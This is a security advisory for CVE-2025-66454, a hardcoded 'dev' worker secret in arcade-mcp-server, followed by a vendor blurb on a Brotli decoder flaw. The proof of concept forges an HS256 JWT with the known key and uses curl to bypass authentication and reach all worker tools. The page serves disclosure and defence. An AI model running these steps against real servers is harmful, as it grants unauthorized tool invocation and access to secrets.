CVE-2025-66454

EUVD-2025-200280 · Published Dec 2, 2025

arcade-mcp-server Has Default Hardcoded Worker Secret That Allows Full Unauthorized Access to All HTTP MCP Worker Endpoints

Summary

The arcade-mcp HTTP server uses a hardcoded default worker secret ("dev") that is never validated or overridden during normal server startup. As a result, any unauthenticated attacker who knows this default key can forge valid JWTs and fully bypass the FastAPI authentication layer. This grants remote access to all worker endpoints—including tool enumeration and tool invocation—without credentials.

Anyone following the official quick-start guide is vulnerable unless they manually override ARCADE_WORKER_SECRET.

Details

The documented method for launching an HTTP MCP server (python server.py http) implicitly sets the worker secret to the hardcoded default "dev":

ArcadeSettings.server_secret defaults to "dev"
(libs/arcade-mcp-server/arcade_mcp_server/settings.py:129–158)

create_arcade_mcp() passes this value directly to FastAPIWorker without validation
(libs/arcade-mcp-server/arcade_mcp_server/worker.py:118–188)

BaseWorker._set_secret() accepts this value and does not enforce rotation
(libs/arcade-serve/arcade_serve/core/base.py:42–83)

Because the worker’s signing key is constant and publicly documented, attackers can trivially generate valid HS256 JWTs:

The FastAPI worker auth middleware (arcade_serve/fastapi/auth.py) trusts any JWT signed with the worker secret.

The core auth layer (arcade_serve/core/auth.py) does not distinguish forged tokens from legitimate ones.

The official quick-start instructions (README.md:164–190) demonstrate launching an MCP server without mentioning worker-secret rotation. Users are told how to define tool secrets in .env, but not that the worker’s authentication key must be changed.

As a result, servers deployed following the documented workflow expose all /worker/* endpoints to anyone capable of generating a simple HS256 token using the known key.

This CVE was resolved by https://github.com/ArcadeAI/arcade-mcp/pull/691

PoC

Start the server using the official guide
https://docs.arcade.dev/en/home/build-tools/create-a-mcp-server

Verify that unauthenticated access is rejected (expected)

curl -s -D - http://127.0.0.1:8000/worker/tools
# → 403 Forbidden

Forge a valid HS256 token using the hardcoded default secret "dev"

import jwt
print(jwt.encode({'ver': '1', 'aud': 'worker'}, 'dev', algorithm='HS256'))

Use the forged token to bypass authentication

curl -s -D - \
  -H "Authorization: Bearer $(cat /tmp/forged_token.txt)" \
  http://127.0.0.1:8000/worker/tools

Result:
The server responds 200 OK with the full tool catalog and allows invocation of all worker tools.

Server logs show a rejected request immediately followed by a successful forged request, confirming the bypass.

Impact

This is an authentication bypass that results in full remote access to all MCP worker endpoints:

Unauthenticated attackers can enumerate tools

Invoke arbitrary tools remotely

Access any data returned by tools (including secrets loaded into ToolContext)

Execute actions inside internal systems if tools expose operational capabilities

Perform these actions without any brute forcing or guesswork due to the known default signing key

Any user who follows the official setup guide is exposed unless they manually override ARCADE_WORKER_SECRET, which is not documented.

This vulnerability effectively gives complete remote control over the MCP worker API to any attacker aware of the default key.

Technologies

Arcade-Mcp-Server Arcade-Mcp-Server

Weaknesses

CWE-321CWE-798CWE-284

CVSS scores

v3.16.5CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

ReconImpact

Initial Access Persistence Privilege Escalation Stealth Credential Access

T1190Exploit Public-Facing Application T1078.001Default Accounts T1552.001Credentials In Files

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.